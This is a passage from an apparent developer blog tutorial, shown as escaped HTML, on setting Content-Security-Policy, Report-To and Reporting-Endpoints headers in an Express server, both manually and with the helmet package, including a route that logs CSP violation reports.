&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;reportToHeader&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;group&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;csp-group&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;max_age&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;10886400&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// 126 days in seconds&lt;/span&gt;
  &lt;span class="na"&gt;endpoints&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/csp-report&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// Define the Reporting-Endpoints header value&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;reportingEndpointsHeader&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;csp-group="/csp-report"&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;use&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// Set the CSP header&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setHeader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Content-Security-Policy&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;default-src 'self'; script-src 'self' https://cdn.example.com; report-uri /csp-report; report-to csp-group;&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="c1"&gt;// Set the Report-To header&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setHeader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Report-To&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;reportToHeader&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="c1"&gt;// Set the Reporting-Endpoints header&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setHeader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Reporting-Endpoints&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;reportingEndpointsHeader&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="nf"&gt;next&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// Endpoint accepts both `application/reports+json` and `application/csp-report` to account for&lt;/span&gt;
&lt;span class="c1"&gt;// both `report-to` and `report-uri` reports&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/csp-report&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;express&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;application/reports+json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;application/csp-report&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;}),&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// Logging the report, but you can do other things with it as well, like storing it in your database&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;CSP Report:&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendStatus&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;204&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;listen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Server running on http://localhost:3000&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  With &lt;code&gt;helmet&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;helmet&lt;/code&gt; secures your web application by setting various security-related HTTP response headers, like &lt;code&gt;Cross-Origin-Opener-Policy&lt;/code&gt;, &lt;code&gt;Referrer-Policy&lt;/code&gt;, and &lt;code&gt;Cross-Origin-Resource-Policy&lt;/code&gt;. The one header we are interested in is the &lt;code&gt;Content-Security-Policy&lt;/code&gt; header.&lt;/p&gt;

&lt;p&gt;There are many advantages for using &lt;code&gt;helmet&lt;/code&gt; over manual setup, but I'll list three of them:&lt;/p&gt;

&lt;h4&gt;
  
  
  1. Clear and Readable Syntax
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;helmet&lt;/code&gt; makes it &lt;strong&gt;easy to write and read CSP policies&lt;/strong&gt;. Instead of manually constructing a long CSP string, you use a clear object-based structure like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;helmet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;contentSecurityPolicy&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;directives&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;defaultSrc&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;'self'&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="na"&gt;scriptSrc&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;'self'&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://cdn.example.com&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="na"&gt;reportUri&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/csp-report&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="na"&gt;reportTo&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;csp-group&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Just objects, arrays and strings. This makes policies easier to read, write, and maintain.&lt;/p&gt;

&lt;h4&gt;
  
  
  2. Validation and Error Prevention
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;helmet&lt;/code&gt; is less error-prone: it validates your CSP configuration and helps avoid common syntax mistakes.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;helmet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;contentSecurityPolicy&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;directives&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;defaultSrc&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;self&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;// ❌ Helmet will complain about missing quotes. It should be "'self'"&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Without &lt;code&gt;helmet&lt;/code&gt;, you'd have to manually construct this as a string, and a small typo could silently break your policy.&lt;/p&gt;

&lt;h4&gt;
  
  
  3. Secure Defaults Out of the Box
&lt;/h4&gt;

&lt;p&gt;Another major reason to use &lt;code&gt;helmet&lt;/code&gt; instead of manually configuring headers is that it provides secure default values for key CSP directives, reducing the risk of misconfiguration and ensuring a solid baseline of protection against common web vulnerabilities.&lt;/p&gt;

&lt;p&gt;You still have full control — you can override or extend individual directives while keeping Helmet’s safe defaults in place.&lt;/p&gt;

&lt;p&gt;If you prefer to start from scratch, you can disable the defaults entirely by setting &lt;code&gt;useDefaults: false&lt;/code&gt;, and define only the directives you want:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;helmet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;contentSecurityPolicy&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;useDefaults&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;directives&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;defaultSrc&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;'self'&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="na"&gt;scriptSrc&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;'self'&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://cdn.example.com&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="na"&gt;reportUri&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/csp-report&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="na"&gt;reportTo&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;csp-group&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now that we detailed why &lt;code&gt;helmet&lt;/code&gt; is a better approach for constructing your CSP policies, let's go ahead and configure our CSP.&lt;/p&gt;

&lt;p&gt;First, we'll install the required packages:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install &lt;/span&gt;express helmet
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And then in our main server file, we'll set up the same value we set for the first example in this blog post:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;express&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;express&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;helmet&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;helmet&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;express&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="c1"&gt;// Define the Report-To header value&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;reportToHeader&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;group&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;csp-group&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;max_age&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;10886400&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// 126 days in seconds&lt;/span&gt;
  &lt;span class="na"&gt;endpoints&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://example.com/csp-report&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// Define the Reporting-Endpoints header value&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;reportingEndpointsHeader&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;csp-group="https://example.com/csp-report"&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// Set the CSP header&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="nx"&gt;helmet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;contentSecurityPolicy&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;directives&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="na"&gt;defaultSrc&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;'self'&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
      &lt;span class="na"&gt;scriptSrc&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;'self'&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://cdn.example.com&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
      &lt;span class="na"&gt;reportUri&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/csp-report&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
      &lt;span class="na"&gt;reportTo&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;csp-group&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Manually add the Report-To and Reporting-Endpoints headers&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;use&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setHeader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Report-To&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;reportToHeader&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setHeader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Reporting-Endpoints&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;reportingEndpointsHeader&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="nf"&gt;next&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// Endpoint accepts both `application/reports+json` and `application/csp-report` to account for&lt;/span&gt;
&lt;span class="c1"&gt;// both `report-to` and `report-uri` reports&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/csp-report&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;express&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;application/reports+json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;application/csp-report&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;}),&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// Logging the report, but you can do other things with it as well, like storing it in your database&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;CSP Report:&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendStatus&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;204&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;listen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Server running on http://localhost:3000&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Since &lt;code&gt;helmet&lt;/code&gt; doesn't generate the &lt;code&gt;Report-To&lt;/code&gt; and &lt;code&gt;Reporting-Endpoints&lt;/code&gt; headers automatically, we had to set them manually.&lt;/p&gt;

&lt;p&gt;To use &lt;code&gt;Content-Security-Policy-Report-Only&lt;/code&gt;, use &lt;code&gt;reportOnly: true&lt;/code&gt;, like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Set the CSP header&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="nx"&gt;helmet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;contentSecurityPolicy&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;directives&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="na"&gt;defaultSrc&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;'self'&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
